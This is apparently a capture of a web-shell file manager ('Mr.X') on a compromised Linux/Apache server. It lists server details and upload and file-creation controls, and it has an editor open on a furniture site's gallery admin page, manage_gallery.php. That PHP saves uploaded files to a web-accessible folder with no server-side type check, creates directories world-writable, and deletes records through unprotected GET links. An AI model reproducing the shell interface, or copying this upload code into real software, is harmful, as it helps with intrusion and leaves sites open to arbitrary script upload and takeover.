🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:manage_gallery.php
<?php require_once 'header.php'; $msg = ''; // Add Gallery Image if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action']) && $_POST['action'] == 'add') { $title = $_POST['title']; $category = $_POST['category']; // File upload logic $image = ''; if (!empty($_FILES['image']['name'])) { $upload_dir = '../uploads/gallery/'; if(!is_dir($upload_dir)) mkdir($upload_dir, 0777, true); $image = time() . '_' . basename($_FILES['image']['name']); move_uploaded_file($_FILES['image']['tmp_name'], $upload_dir . $image); } try { $stmt = $pdo->prepare("INSERT INTO gallery (title, category, image) VALUES (?, ?, ?)"); $stmt->execute([$title, $category, $image]); $msg = "<div class='alert alert-success'>Image added to gallery.</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error adding image.</div>"; } } // Delete Gallery Image if (isset($_GET['delete'])) { $id = $_GET['delete']; try { $stmt = $pdo->prepare("DELETE FROM gallery WHERE id = ?"); $stmt->execute([$id]); $msg = "<div class='alert alert-success'>Image deleted successfully.</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error deleting image.</div>"; } } // Fetch Gallery try { $stmt = $pdo->query("SELECT * FROM gallery ORDER BY id DESC"); $gallery = $stmt->fetchAll(); } catch (PDOException $e) { if ($e->getCode() == '42S02') { $pdo->exec("CREATE TABLE IF NOT EXISTS `gallery` ( `id` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(150) NOT NULL, `category` varchar(100) NOT NULL, `image` varchar(255) NOT NULL, `is_active` tinyint(1) NOT NULL DEFAULT 1, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"); $stmt = $pdo->query("SELECT * FROM gallery ORDER BY id DESC"); $gallery = $stmt->fetchAll(); } else { $msg = "<div class='alert alert-danger'>Database Error: " . htmlspecialchars($e->getMessage()) . "</div>"; $gallery = []; } } ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>Manage Gallery</h2> <button class="btn btn-gold" data-bs-toggle="modal" data-bs-target="#addModal"><i class="fas fa-plus me-2"></i> Add Image</button> </div> <?= $msg ?> <div class="card"> <div class="card-body p-0"> <div class="table-responsive"> <table class="table table-hover mb-0"> <thead class="table-light"> <tr> <th>Image</th> <th>Title</th> <th>Category</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach($gallery as $g): ?> <tr> <td> <?php if($g['image']): ?> <img src="../uploads/gallery/<?= e($g['image']) ?>" alt="img" style="width: 80px; height: 60px; object-fit: cover; border-radius: 5px;"> <?php else: ?> <span class="text-muted">No image</span> <?php endif; ?> </td> <td><?= e($g['title']) ?></td> <td><span class="badge bg-secondary"><?= e($g['category']) ?></span></td> <td> <?php if($g['is_active']): ?> <span class="badge bg-success">Active</span> <?php else: ?> <span class="badge bg-danger">Inactive</span> <?php endif; ?> </td> <td> <a href="?delete=<?= $g['id'] ?>" class="btn btn-sm btn-outline-danger" onclick="return confirm('Delete this image?');"><i class="fas fa-trash"></i></a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> <!-- Add Modal --> <div class="modal fade" id="addModal" tabindex="-1"> <div class="modal-dialog"> <form class="modal-content" method="POST" enctype="multipart/form-data"> <div class="modal-header"> <h5 class="modal-title">Add Gallery Image</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <input type="hidden" name="action" value="add"> <div class="mb-3"> <label class="form-label">Title / Description</label> <input type="text" name="title" class="form-control" required> </div> <div class="mb-3"> <label class="form-label">Category</label> <input type="text" name="category" class="form-control" placeholder="e.g. Pantry Cupboards, TV Wall" required> </div> <div class="mb-3"> <label class="form-label">Image</label> <input type="file" name="image" class="form-control" accept="image/*" required> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-gold">Upload Image</button> </div> </form> </div> </div> <?php require_once 'footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder